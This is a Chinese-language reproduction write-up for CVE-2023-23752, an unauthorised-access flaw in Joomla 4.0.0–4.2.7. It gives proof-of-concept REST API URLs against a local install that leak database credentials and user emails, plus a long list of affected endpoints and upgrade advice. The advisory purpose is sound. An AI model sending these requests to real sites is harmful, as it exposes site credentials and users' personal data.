0x01 前言
Joomla是一套全球知名的内容管理系统（CMS），其使用PHP语言加上MySQL数据库所开发，可以在Linux、Windows、MacOSX等各种不同的平台上运行。
2月16日，Joomla官方发布安全公告，修复了Joomla! CMS中的一个未授权访问漏洞（CVE-2023-23752），目前该漏洞的细节及PoC/EXP已公开。
Joomla! CMS 版本4.0.0 - 4.2.7中由于对web 服务端点访问限制不当，可能导致未授权访问Rest API，造成敏感信息泄露（如数据库账号密码等）。鉴于该漏洞影响较大，建议客户尽快做好自查及防护。
0x02 影响版本
受影响版本4.0.0 <= Joomla <= 4.2.7不受影响版本Joomla >= 4.2.8Joomla 3及以下版本均不受该漏洞影响
0x03 环境搭建
直接phpstudy或者wamp搭建
下载解压后放入
wamp/www/Joomla或者phpstudy/PHPTutorial/WWW/Joomla/目录下。
访问http://127.0.0.1/Joomla/准备安装
登录数据配置
数据库配置信息
安装完成
环境搭建成功
0x04 漏洞复现
PoC：
http://127.0.0.1/Joomla4.2.7/api/index.php/v1/config/application?public=true这个API用于获取网站最重要的配置信息，包含数据库的账号与密码。
获取网站用户名以及邮箱账号
http://127.0.0.1/Joomla4.2.7/api/index.php/v1/users?public=true
其他受影响API如下：
v1/bannersv1/banners/:idv1/bannersv1/banners/:idv1/banners/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clients/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categories/:idv1/banners/:id/contenthistoryv1/banners/:id/contenthistory/keepv1/banners/:id/contenthistoryv1/config/applicationv1/config/applicationv1/config/:component_namev1/config/:component_namev1/contacts/form/:idv1/contactsv1/contacts/:idv1/contactsv1/contacts/:idv1/contacts/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categories/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contact/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mail/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categories/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categories/:idv1/contacts/:id/contenthistoryv1/contacts/:id/contenthistory/keepv1/contacts/:id/contenthistoryv1/content/articlesv1/content/articles/:idv1/content/articlesv1/content/articles/:idv1/content/articles/:idv1/content/categoriesv1/content/categories/:idv1/content/categoriesv1/content/categories/:idv1/content/categories/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articles/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categories/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articles/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categories/:idv1/content/articles/:id/contenthistoryv1/content/articles/:id/contenthistory/keepv1/content/articles/:id/contenthistoryv1/extensionsv1/languages/contentv1/languages/content/:idv1/languages/contentv1/languages/content/:idv1/languages/content/:idv1/languages/overrides/searchv1/languages/overrides/search/cache/refreshv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GB/:idv1/languagesv1/languagesv1/media/adaptersv1/media/adapters/:idv1/media/filesv1/media/files/:path/v1/media/files/:pathv1/media/filesv1/media/files/:pathv1/media/files/:pathv1/menus/sitev1/menus/site/:idv1/menus/sitev1/menus/site/:idv1/menus/site/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administrator/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/items/:idv1/menus/site/items/typesv1/menus/administrator/items/typesv1/messagesv1/messages/:idv1/messagesv1/messages/:idv1/messages/:idv1/modules/types/sitev1/modules/types/administratorv1/modules/sitev1/modules/site/:idv1/modules/sitev1/modules/site/:idv1/modules/site/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administrator/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feeds/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categories/:idv1/pluginsv1/plugins/:idv1/plugins/:idv1/privacy/requestsv1/privacy/requests/:idv1/privacy/requests/export/:idv1/privacy/requestsv1/privacy/consentsv1/privacy/consents/:idv1/privacy/consents/:idv1/redirectsv1/redirects/:idv1/redirectsv1/redirects/:idv1/redirects/:idv1/tagsv1/tags/:idv1/tagsv1/tags/:idv1/tags/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/site/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administrator/:idv1/usersv1/users/:idv1/usersv1/users/:idv1/users/:idv1/fields/usersv1/fields/users/:idv1/fields/usersv1/fields/users/:idv1/fields/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/users/:idv1/users/groupsv1/users/groups/:idv1/users/groupsv1/users/groups/:idv1/users/groups/:idv1/users/levelsv1/users/levels/:idv1/users/levelsv1/users/levels/:idv1/users/levels/:id
0x05 修复建议
目前官方已发布安全版本修复此漏洞，建议受影响的用户及时升级防护：https://downloads.joomla.org/
0x06 参考
https://xz.aliyun.com/t/12175★
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